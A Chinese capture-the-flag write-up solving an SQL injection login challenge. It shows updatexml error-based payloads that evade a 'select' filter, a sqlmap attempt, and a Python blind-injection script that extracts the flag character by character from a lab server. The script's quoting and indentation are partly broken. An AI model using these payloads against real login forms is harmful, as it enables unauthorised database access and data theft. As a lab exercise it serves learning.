[第一章 web入门]SQL注入-2

1 通过updatexml取数据
从页面发现有一个提示
如果加上?tips=1的话，通过burpsuite发包可以通过updatexml来查看回显，可以通过这个取到数据
下面是通过updatexml来注入，这时4步中用到语句

name=admin' and updatexml(1,concat(0x7e,(select(database())),0x7e),1) #&pass=bb
name=admin' and updatexml(1,concat(0x7e,(selEct(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1) #&pass=bb
name=admin'’ and updatexml(1,concat(0x7e，(seLect(group_concat(column_name))from(information_schema.columns)where(table_name)like(‘fl4g’)),0x7e),1) #&pass=bb
name=admin’ and updatexml(1,concat(0x7e,(selEct(flag)from(fl4g)),0x7e),1) #&pass=bb

这里的难点在于屏蔽了select，通过updatexml的回显，在select附近会报错，通过报错来分析出select被屏蔽。从测试可以发现，应该是屏蔽了select SELECT。
第一个取数据库名称的语句中，select未出错，是因为这个select过滤后不影响语句执行

2 通过sqlmap测试

通过sqlmap测试发现，可以取数据库名，表名，字段名，但无法爆破出字段内容。

3 通过盲注来取数据

测试发现用户名输入admin话，报错：用户名密码错误，否则报用户名不存在。
盲注的话，可以根据这个来判断

判断库名

admina' or ascii(substr((select(database())),66,1))>10

判断表名

admina' or ascii(substr((selEct(group_concat(table_name))from(information_schema.tables)where(table_schema=“note”)),1,1))>101 #

下面是盲注的代码

import requests

url =“http://82625ff6-908a-4e21-b367-46168b8a77fe.node4.buuoj.cn/login.php”
flag = ‘’
def payload(i,j):
#myname="admin' and ascii(substr((selEct(database())),"+str(j)+",1))>"+str(i)+" #"
#myname="admin' and ascii(substr((selEct(group_concat(table_name))from(information_schema.tables)where(table_schema='note')),"+str(j)+",1))>"+str(i)+" #"
#myname="admin' and ascii(substr((selEct(group_concat(column_name))from(information_schema.columns)where(table_name='fl4g')),"+str(j)+",1))>"+str(i)+" #"
myname="admin' and ascii(substr((selEct(group_concat(flag))from(note.fl4g)),"+str(j)+",1))>"+str(i)+" #"
cs = {'name': myname,"pass":"bb"}
html=requests.post(url,data=cs)
#print myname
#print(html)
#print(html.text)	

if(  "u8bef" in html.text ):
    res = 1
else:
    res = 0

return res

#judge if is 0
def payload2(j,i):
#myname="admin' and ascii(substr((select(database())),"+str(j)+",1))=0 #"
#myname="admin' and ascii(substr((selEct(group_concat(table_name))from(information_schema.tables)where(table_schema='note')),"+str(j)+",1))=0 #"
#myname="admin' and ascii(substr((selEct(group_concat(column_name))from(information_schema.columns)where(table_name='fl4g')),"+str(j)+",1))=0 #"	
myname="admin' and ascii(substr((selEct(group_concat(flag))from(note.fl4g)),"+str(j)+",1))=0 #"		
cs = {'name': myname,"pass":"bb"}
html=requests.post(url,data=cs)
#print(html)
#print(html.text)	

if(  "u8bef" in html.text ):
    res = 1
else:
    res = 0

return res

def exp():
global flag
j=1
i=1
myend = False
while(True):
if (payload2(j,0) == 1):
break; 
low=31
high=127
while(True):
ave = (low+high)/2
print “ave is”,ave
ret = payload(ave,j)
if (ret == 1):
low = ave
else:
high = ave
		if (high-low==1):
			print "the ", j, " station is " , chr(high)
			flag = flag + chr(high)
			break

	j=j+1

exp()
#payload(100,1)
#payload(150,1)
print(‘flag=’,flag)
#(‘flag=’, ‘fl4g,users’)
#(‘flag=’, ‘n1book{login_sqli_is_nice}’)

所以最终flag为n1book{login_sqli_is_nice}